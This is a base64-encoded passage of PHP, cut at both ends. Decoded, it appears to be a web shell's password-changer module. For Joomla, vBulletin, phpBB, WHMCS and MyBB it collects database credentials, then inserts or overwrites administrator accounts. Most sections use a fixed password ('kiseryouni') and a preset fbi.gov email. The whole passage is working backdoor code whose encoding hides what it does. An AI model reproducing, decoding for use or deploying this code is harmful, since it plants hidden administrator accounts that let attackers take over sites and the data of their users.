JywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ2tpc2VyeW91bmlAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydob2tpMSddICYmICRfUE9TVFsnaG9raTEnXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnaG9raTMnXTsKJGRhdGFiYXNlID0gJF9QT1NUWydob2tpNCddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2hva2k1J107CiRwYXNzd29yZCA9ICRfUE9TVFsnaG9raTYnXTsKJGFkbWluID0gJF9QT1NUWydob2tpOCddOwokU1FMID0gJF9QT1NUWydob2tpOSddOwokcHJlZml4ID0gJF9QT1NUWydob2tpMTAnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VycyAoaWQsbmFtZSx1c2VybmFtZSxlbWFpbCxwYXNzd29yZCkgdmFsdWVzKG51bGwsJ1N1cGVyIFVzZXInLCciLiRhZG1pbi4iJywnIi4kU1FMLiInLCdkNGE1OTBjYWFjYzBiZTU1ZWYyODZlNDBhOTQ1ZWE0NScpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgaWQgZnJvbSAiLiRwcmVmaXguInVzZXJzIHdoZXJlIHVzZXJuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2UgPUBteXNxbGlfbnVtX3Jvd3MoJGtpc2VyeW91bmkpOwppZiAoJGtpc2UgPT0gMSl7CiRraXNldmlzID1AbXlzcWxpX2ZldGNoX2Fzc29jKCRraXNlcnlvdW5pKTsKJHJlcyA9ICRraXNldmlzWydpZCddOwp9CiRraXNlcnlvdW5pPUBteXNxbGlfcXVlcnkoJGNvbm4sIklOU0VSVCBJTlRPICIuJHByZWZpeC4idXNlcl91c2VyZ3JvdXBfbWFwICh1c2VyX2lkLGdyb3VwX2lkKSBWQUxVRVMgKCciLiRyZXMuIicsICc4JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRraXNlcnlvdW5pKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQppZigkX1BPU1RbJ2hva2k0J10gJiYgJF9QT1NUWydob2tpNCddID09ICd2YicpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgdkJ1bGxldGluIHw8ZGl2PjxwPicuZ2V0Q29uZmlnSHRtbCgndmInKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSxcJ3ZiXCcsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnaGknLCAnaW5wdXRWYWx1ZScgPT4gJ2tpc2VyeW91bmknLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAna2lzZXJ5b3VuaUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKCRfUE9TVFsnaG9raTEnXSAmJiAkX1BPU1RbJ2hva2kxJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2hva2kyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnaG9raTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydob2tpNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2hva2k2J107CiRwcmVmaXggPSAkX1BPU1RbJ2hva2k3J107CiRhZG1pbiA9ICRfUE9TVFsnaG9raTgnXTsKJFNRTCA9ICRfUE9TVFsnaG9raTknXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfY29ubmVjdF9lcnJvcigpKTsKJHB3X2NvbCA9IEBteXNxbGlfY29ubmVjdCgiU0VMRUNUIGNvbHVtbl9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZSA9ICd7JHByZWZpeH11c2VyJyBhbmQgY29sdW1uX25hbWUgPSAncGFzc3dvcmQnIGFuZCB0YWJsZV9zY2hlbWEgPSAneyRkYXRhYmFzZX0nIik7CiRwd19jb2wgPSBAbXlzcWxpX251bV9yb3dzKCRwd19jb2wpOwokYWRtX3Blcm0gPSAiMTY3NDQ0NDQiOwppZigkcHdfY29sID4gMCl7CiRraXNlcnlvdW5pPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHskcHJlZml4fXVzZXIgKHVzZXJpZCx1c2VyZ3JvdXBpZCx1c2VybmFtZSxwYXNzd29yZCxzYWx0LGVtYWlsLHBhc3N3b3JkZGF0ZSxqb2luZGF0ZSkgdmFsdWVzKG51bGwsJzYnLCckYWRtaW4nLCc1MmUyOGI3OGY1NTY0MWNkNDYxOGFkMWEyMGY1ZmQ1YycsJ1h3fEliR0xoVFFBLUF3QXBWdj42MXleKHpdKjxRTicsJyRTUUwnLCciLmRhdGUoJ1ktbS1kJykuIicsJyIudGltZSgpLiInKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKfWVsc2V7CiRhZG1fcGVybSA9ICIyMTQzMjU2NDQ0IjsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8geyRwcmVmaXh9dXNlciAodXNlcmlkLHVzZXJncm91cGlkLHVzZXJuYW1lLHRva2VuLHNlY3JldCxlbWFpbCxwYXNzd29yZGRhdGUsam9pbmRhdGUsc2NoZW1lLGJpcnRoZGF5X3NlYXJjaCkgdmFsdWVzKG51bGwsJzYnLCckYWRtaW4nLCdcJDJ5XCQxMFwkWXNWaFYuOXRMbnpCWXhhcjFCSkFHTzN2Rno2OC9xRFU3SnQ2MlNEZEx5NmxVVDlONVovd3EnLCdRZn5BRGVBfWlBZXktJiNBTFFGPH0vdUJEcVNudz4nLCckU1FMJywnIi5kYXRlKCdZLW0tZCcpLiInLCciLnRpbWUoKS4iJywnYmxvd2Zpc2g6MTAnLCcxOTg0LTA1LTIwJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7Cn0KJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IHVzZXJpZCBmcm9tIHskcHJlZml4fXVzZXIgd2hlcmUgdXNlcm5hbWU9JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZSA9IG15c3FsaV9udW1fcm93cygka2lzZXJ5b3VuaSk7CmlmKCRraXNlID09IDEpewoka2lzZXZpcyA9IG15c3FsaV9mZXRjaF9hc3NvYygka2lzZXJ5b3VuaSk7CiRyZXMgPSAka2lzZXZpc1sndXNlcmlkJ107Cn0KJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8geyRwcmVmaXh9YWRtaW5pc3RyYXRvciAodXNlcmlkLGFkbWlucGVybWlzc2lvbnMpIHZhbHVlcygnIi4kcmVzLiInLCciLiRhZG1fcGVybS4iJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRraXNlcnlvdW5pKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQppZihpc3NldCgkX1BPU1RbJ2hva2k1J10pICYmICRfUE9TVFsnaG9raTUnXSA9PSAncGhwYmInKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBwaHBCQiB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdwaHBiYicpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsXCdwaHBiYlwnLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAna2lzZXJ5b3VuaScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiAndGQ4JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdraXNlcnlvdW5pQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnaG9raTEnXSAmJiAkX1BPU1RbJ2hva2kxJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2hva2kyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnaG9raTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydob2tpNCddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2hva2k2J107CiRhZG1pbiA9ICRfUE9TVFsnaG9raTgnXTsKJFNRTCA9ICRfUE9TVFsnaG9raTknXTsKJHByZWZpeCA9ICRfUE9TVFsnaG9raTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRoYXNoID0gbWQ1KCdraXNlcnlvdW5pJyk7CiRraXNlcnlvdW5pPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZV9jbGVhbiA9JyIuJGFkbWluLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRoYXNoLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lX2NsZWFuID0nIi4kYWRtaW4uIicgV0hFUkUgdXNlcl90eXBlID0gMyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRoYXNoLiInIFdIRVJFIHVzZXJfdHlwZSA9IDMiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRraXNlcnlvdW5pPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VyX2VtYWlsID0nIi4kU1FMLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJGtpc2VyeW91bmkpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpOwp9Cn0KfQppZihpc3NldCgkX1BPU1RbJ2hva2k2J10pICYmICRfUE9TVFsnaG9raTYnXSA9PSAnd2htY3MnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBXaG1jcyB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCd3aG1jcycpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxcJ3dobWNzXCcsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdraXNlcnlvdW5pJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ2tpc2VyeW91bmlAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydob2tpMSddICYmICRfUE9TVFsnaG9raTEnXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnaG9raTInXTsKJGRhdGFiYXNlID0gJF9QT1NUWydob2tpMyddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2hva2k0J107CiRwYXNzd29yZCA9ICRfUE9TVFsnaG9raTUnXTsKJGFkbWluID0gJF9QT1NUWydob2tpOCddOwokU1FMID0gJF9QT1NUWydob2tpOSddOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB0YmxhZG1pbnMgKGlkLHJvbGVpZCx1c2VybmFtZSxwYXNzd29yZCxlbWFpbCx0ZW1wbGF0ZSxob21ld2lkZ2V0cykgdmFsdWVzKG51bGwsJzEnLCciLiRhZG1pbi4iJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnLCciLiRTUUwuIicsJ2JsZW5kJywnZ2V0dGluZ19zdGFydGVkOnRydWUsb3JkZXJzX292ZXJ2aWV3OnRydWUsc3VwcG9ydHRpY2tldHNfb3ZlcnZpZXc6dHJ1ZSxteV9ub3Rlczp0cnVlLGNsaWVudF9hY3Rpdml0eTp0cnVlLG9wZW5faW52b2ljZXM6dHJ1ZSxhY3Rpdml0eV9sb2c6dHJ1ZXxpbmNvbWVfb3ZlcnZpZXc6dHJ1ZSxzeXN0ZW1fb3ZlcnZpZXc6dHJ1ZSx3aG1jc19uZXdzOnRydWUsc3lzaW5mbzp0cnVlLGFkbWluX2FjdGl2aXR5OnRydWUsdG9kb19saXN0OnRydWUsbmV0d29ya19zdGF0dXM6dHJ1ZSxpbmNvbWVfZm9yZWNhc3Q6dHJ1ZXwnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJGtpc2VyeW91bmkpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CmlmKGlzc2V0KCRfUE9TVFsnaG9raTcnXSkgJiYgJF9QT1NUWydob2tpNyddID09ICdteWJiJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgTXliYiB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdteWJiJykuJzwvcD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsXCdteWJiXCcsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDcnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ2tpc2VyeW91bmknLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAna2lzZXJ5b3VuaUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmICgkX1BPU1RbJ2hva2kxJ10gJiYgJF9QT1NUWydob2tpMSddID09ICc+PicpewokbG9jYWxob3N0ID0gJF9QT1NUWydob2tpMiddOwokZGF0YWJhc2UgPSAkX1BPU1RbJ2hva2kzJ107CiR1c2VybmFtZSA9ICRfUE9TVFsnaG9raTQnXTsKJHBhc3N